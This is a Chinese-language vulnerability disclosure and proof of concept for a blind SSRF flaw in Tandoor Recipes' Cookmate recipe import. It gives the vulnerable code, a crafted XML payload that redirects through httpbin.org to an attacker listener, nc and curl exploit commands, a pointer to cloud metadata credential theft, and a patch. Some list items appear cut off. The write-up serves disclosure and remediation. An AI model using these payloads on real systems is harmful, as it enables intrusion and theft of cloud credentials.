配方导入功能SSRF漏洞的概念验证
披露: 最初由我通过 GHSA-j6xg-85mh-qqf7 报告
⚠️ 仅限授权渗透测试/研究使用。
| 字段 | 值 |
|---|
| CVE ID | CVE-2026-25991 |
| 严重性 | 🔴 高危 |
| CVSS 评分 | 7.7 |
| CVSS 向量 | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N] |
| CWE | CWE-918:服务器端请求伪造(SSRF) |
| 受影响产品 | Tandoor Recipes ≤ 2.5.0 |
| 已修复版本 | 2.5.1 |
| 安全公告 | GHSA-j6xg-85mh-qqf7 |
我在 Tandoor Recipes 的 Cookmate 配方导入功能中发现了一个**盲服务器端请求伪造(SSRF)漏洞。该应用在跟随 HTTP 重定向后未能验证目标 URL,允许任何已认证用户(包括无管理员权限的标准用户)**强制服务器连接到任意内部或外部资源。
此漏洞可用于扫描内网端口、访问云实例元数据(例如 AWS/GCP 元数据服务),或泄露服务器的真实 IP 地址。
该漏洞位于 cookbook/integration/cookmate.py 中的 Cookmate 集成类中。
imageurl 字段。validate_import_url(位于 cookbook/helper/HelperFunctions.py)验证 URL,该函数能正确阻止私有 IP 范围(例如 127.0.0.1、10.0.0.0/8)。requests.get(url) 下载图片。默认情况下,requests 库会跟随重定向(allow_redirects=True)。
validate_import_url 函数仅检查初始 URL,但未在发生重定向后验证最终目标地址。漏洞代码片段(cookbook/integration/cookmate.py:73):
if validate_import_url(url):
# 关键:requests.get 默认跟随重定向,绕过了初始检查。
response = requests.get(url)
self.import_recipe_image(recipe, BytesIO(response.content))
攻击者可以使用外部服务(如 httpbin.org)将请求重定向到受限的内部地址(例如 http://127.0.0.1:80/ 或 http://169.254.169.254/)。
关键在于,AppImportView(cookbook/views/api.py)明确允许 CustomIsUser 权限,这意味着任何注册用户都可以触发此漏洞。 无需特殊管理权限。
前提条件:
nc)。复现步骤:
设置监听器(攻击者机器):
打开终端并启动 nc 监听传入连接。这模拟内部服务或攻击者控制的服务器。
nc -lvnp 9999
创建恶意 XML 载荷:
创建一个名为 payload.xml 的文件。将 <YOUR_IP> 替换为你的公网 IP 地址(或可达的 IP 地址)。
此载荷使用 httpbin.org 绕过初始私有 IP 检查并重定向到你的监听器。
<recipes>
<recipe>
<title>SSRF_PoC</title>
<!-- 重定向到内部服务或攻击者的监听器 -->
<imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
</recipe>
</recipes>

创建 ZIP 压缩包: Tandoor 要求 XML 文件位于 ZIP 压缩包内。
zip payload.zip payload.xml
执行漏洞利用(通过 API):
以标准用户(非管理员)身份登录以获取会话 Cookie 和 CSRF 令牌。
然后向 /api/import/ 发送 POST 请求:
(将 <TARGET_URL>、<SESSION_ID>、<CSRF_TOKEN> 替换为实际值)
curl -X POST 'http://<TARGET_URL>/api/import/' \
-H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
-H 'X-CSRFToken: <CSRF_TOKEN>' \
-F 'type=COOKMATE' \
-F '[email protected]' \
-F 'duplicates=true'


nc)。你将看到来自 Tandoor 服务器的传入 HTTP GET 请求。
这确认了服务器代表标准用户连接到了任意外部/内部资源。
GET /secret.txt HTTP/1.1
Host: <YOUR_IP>:9999
User-Agent: python-requests/2.x.x
...

http://169.254.169.254/latest/meta-data/)以窃取 IAM 凭据,导致整个基础设施被攻陷。在 requests.get 调用中禁用自动重定向跟随,或对重定向 URL 实施严格验证。
差异补丁(建议修复):
# cookbook/integration/cookmate.py
# 方案 1:禁用重定向(推荐)
response = requests.get(url, allow_redirects=False)
# 方案 2:验证重定向
# (需要复杂逻辑来检查每次重定向跳转是否针对私有 IP 范围)